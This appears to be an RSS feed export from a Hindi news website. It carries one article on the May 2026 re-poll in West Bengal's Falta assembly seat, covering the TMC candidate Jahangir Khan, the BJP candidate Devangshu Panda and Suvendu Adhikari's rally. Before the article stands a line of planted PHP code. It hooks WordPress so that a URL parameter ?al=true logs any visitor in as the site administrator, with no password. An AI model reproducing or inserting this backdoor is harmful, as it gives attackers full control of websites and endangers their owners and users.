// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); subhendu adhikari – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 19 May 2026 03:37:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 फलता बना बंगाल की सियासत का नया रणक्षेत्र, क्या ममता के गढ़ में सेंध लगा पाएगी BJP? https://pratyushaashakinayikiran.com/?p=220649 Tue, 19 May 2026 03:37:00 +0000 https://pratyushaashakinayikiran.com/?p=220649 कलकत्ता
पश्चिम बंगाल की सियासत में 'डायमंड हार्बर' का इलाका हमेशा से हाई-वोल्टेज रहा है. इस वक्त सबसे बड़ा सियासी अखाड़ा बना हुआ है इसी क्षेत्र के अंतर्गत आने वाला फलता विधानसभा क्षेत्र. चुनावी हिंसा के आरोपों के बाद निर्वाचन आयोग ने 29 अप्रैल को हुए मतदान को रद्द कर फालता में 21 मई को दोबारा मतदान कराने का फैसला किया। 

फलता विधानसभा सीट पर चुनाव कैंपेनिंग के लिए आखिरी 48 घंटे बचे हैं. फलता की धरती पर राजनीतिक पारा सातवें आसमान पर है. इस बार के विधानसभा चुनाव के केंद्र में हैं टीएमसी के कद्दावर उम्मीदवार जहांगीर खान, जिनके इर्द-गिर्द इस इलाके का पूरा समीकरण घूम रहा है। 

बंगाल की सियासत में जहांगीर खान की तूती बोलती थी, लेकिन अब सत्ता बदल चुकी है. ऐसे में फलता सीट जो 15 सालों से टीएमसी का मजबूत गढ़ बना हुआ है, उस पर बीजेपी भी जीत का परचम फहराना चाहती है. ऐसे में क्या जहांगीर खान अपना सियासी प्रभाव जमाए रख सकेंगे या फिर सत्ता के बदलन के साथ ही सियासी गेम भी फालता का बदल जाएगा। 

सिंघम' बनाम 'पुष्पा' की  चुनावी जंग 
फालता का चुनाव आम सियासी लड़ाई से कहीं आगे निकलकर एक एक्शन फिल्म की स्क्रिप्ट जैसा हो चुका है. चुनाव आयोग ने उत्तर प्रदेश के तेजतर्रार आईपीएस अधिकारी अजय पाल शर्मा को पर्यवेक्षक बनाकर भेजा, जिन्हें यूपी की सियासत में 'सिंघम' के तौर पर देखा जाता है. वहीं, टीएमसी उम्मीदवार जहांगीर खान ने एक चुनावी जनसभा में खुलेआम चुनौती देते हुए कहा था, 'अगर तुम सिंघम हो, तो मैं पुष्पा हूं… पुष्पराज, झुकेगा नहीं। 

पश्चिम बंगाल में हुए सत्ता परिवर्तन और बीजेपी की बड़ी जीत के बाद अब सियासी समीकरण पूरी तरह पलट गए हैं. टीएमसी उम्मीदवार जहांगीर खान जो कुछ दिन पहले तक गायब (अंडरग्राउंड) बताए जा रहे थे, वे चुनाव आयोग के निर्देश और पुलिस सुरक्षा के साये में वापस फालता लौटे हैं और अपने प्रचार में जुटे हैं। 

फलता सीट का सियासी समीकरण
फलता विधानसभा सीट दक्षिण 24 परगना जिले में आती है. पारंपरिक रूप से यह इलाका टीएमसी और खासकर अभिषेक बनर्जी का मजबूत गढ़ माना जाता रहा है. देश की आजादी के बाद से फलता सीट पर 1952 से लेकर अब तक कुल 17 बार विधानसभा चुनाव हो चुके हैं और इस बार 18वीं बार चुनाव हो रहे. इस सीट की खासियत यह रही है कि यहां जब भी जो लहर आई, जनता ने लंबे समय तक उसी पार्टी का साथ दिया। 

1952 से लेकर 2006 तक लेफ्ट ने नौ बार फलता सीट पर जीत दर्ज की है. कांग्रेस ने चार बार इस सीट पर जीत का परचम फहरा चुकी है तो टीएमसी भी 4 बार जीतने में सफल रही है. 2011 से लेकर अभी तक टीएमसी का दबदबा है. 2021 के चुनाव में टीएमसी ने यहां करीब 40 हजार वोटों के अंतर से जीत दर्ज की थी. इतिहास गवाह है कि फलता सीट पहले करीब तीन दशक तक वामपंथ का अभेद्य दुर्ग थी, जिसे बाद में टीएमसी ने अपना नया घर बना लिया। 

देवांग्शु पांडा और जहांगीर खान में फाइट
2026 फलता सीट पर अभूतपूर्व पुनर्मतदान में चलते दोबारा चुनाव हो रहे हैं. बीजेपी के देवांग्शु पांडा और टीएमसी के जहांगीर खान के बीच मुख्य मुकाबला है. फलता का यह किला टीएमसी के पास सुरक्षित गढ़ रहा है, लेकिन बीजेपी अब इस सीट पर हरहाल में जीत का परचम फहराना चाहती है.  बीजेपी उम्मीदवार देवांशु पांडा, जो पेशे से वकील हैं, वे इस बार टीएमसी के 'खौफ वाले नैरेटिव' को तोड़ने की कोशिश कर रहे हैं. केंद्रीय बलों की भारी तैनाती के कारण इस बार फर्जी वोटिंग या बूथ कैप्चरिंग की गुंजाइश न के बराबर है, जो बीजेपी के पक्ष में जा सकता है। 

बीजेपी की प्रचंड जीत के बाद पश्चिम बंगाल के मुख्यमंत्री बने शुभेंदु अधिकारी ने फलता में खुद कमान संभाल ली है. उन्होंने बीजेपी उम्मीदवार देवांशु पांडा के समर्थन में एक बड़ी रैली की और सीधे जहांगीर खान पर निशाना साधा. शुभेंदु ने सरेआम चेतावनी देते हुए कहा था कि वह (जहांगीर खान) खुद को पुष्पा कहता है, अब इस 'पुष्पा' की जिम्मेदारी मेरे ऊपर है. फलता के लोगों ने पिछले 10 साल से आजादी से वोट नहीं डाला है, लेकिन इस बार बिना किसी खौफ के मतदान कीजिए और बीजेपी को 1 लाख से अधिक वोटों से जिताइए। 

फलता सीट पर क्या बीजेपी जीत सकेगी
फलता विधानसभा सीट के सियासी समीकरण को देखें तो मुस्लिम और दलित वोटर अहम हैं. इस इलाके में अल्पसंख्यक और दलित मतदाताओं की संख्या अच्छी-खासी है, जो अब तक टीएमसी का पारंपरिक वोट बैंक रहे हैं, जहांगीर खान इसी समीकरण के भरोसे अपनी नैया पार लगाना चाहते हैं तो बीजेपी दलित वोटों और हिंदू वोटों के धार्मिक ध्रुवीकरण पर अपनी जीत की आस लगा रही है। 

पश्चिम बंगाल की सत्ता में बीजेपी के आने के बाद स्थानीय प्रशासन और पुलिस का रुख पूरी तरह बदल चुका है. फलता में पुलिस ने हाल ही में जहांगीर खान के बेहद करीबी और फलता पंचायत समिति के उपाध्यक्ष सैदुल खान को जानलेवा हमले और हिंसा फैलाने के आरोप में गिरफ्तार कर लिया है। 

आखिरी 48 घंटे में आर-पार की लड़ाई
फलता सीट पर चुनाव कैंपेनिंग के ये आखिरी 48 घंटे बेहद संवेदनशील हैं. एक तरफ टीएमसी और जहांगीर खान अपनी राजनीतिक साख बचाने के लिए घर-घर जाकर वोट मांग रहे हैं और सहानुभूति कार्ड खेलने की कोशिश कर रहे हैं कि उन्हें फंसाया जा रहा है. वहीं दूसरी तरफ, बीजेपी इस पुनर्मतदान को 'आतंक से मुक्ति' के उत्सव के रूप में प्रचारित कर रही है। 

बंगाल में बीजेपी सरकार बनने के बाद 21 मई को होने वाला यह पुनर्मतदान सिर्फ एक विधानसभा सीट का चुनाव नहीं है, बल्कि यह इस बात का लिटमस टेस्ट है कि क्या केंद्रीय बलों और सख्त प्रशासन की मौजूदगी में डायमंड हार्बर के इस इलाके में राजनीतिक समीकरण बदल सकते हैं. जहांगीर खान का 'पुष्पा' अवतार फाल्टा की जनता को भाता है या शुभेंदु अधिकारी का 'एक्शन' रंग लाता है, इसका फैसला 24 मई को नतीजों के साथ होगा। 

 

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